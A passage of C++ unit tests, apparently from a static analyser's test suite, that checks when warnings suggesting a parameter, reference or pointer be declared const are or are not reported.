const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void 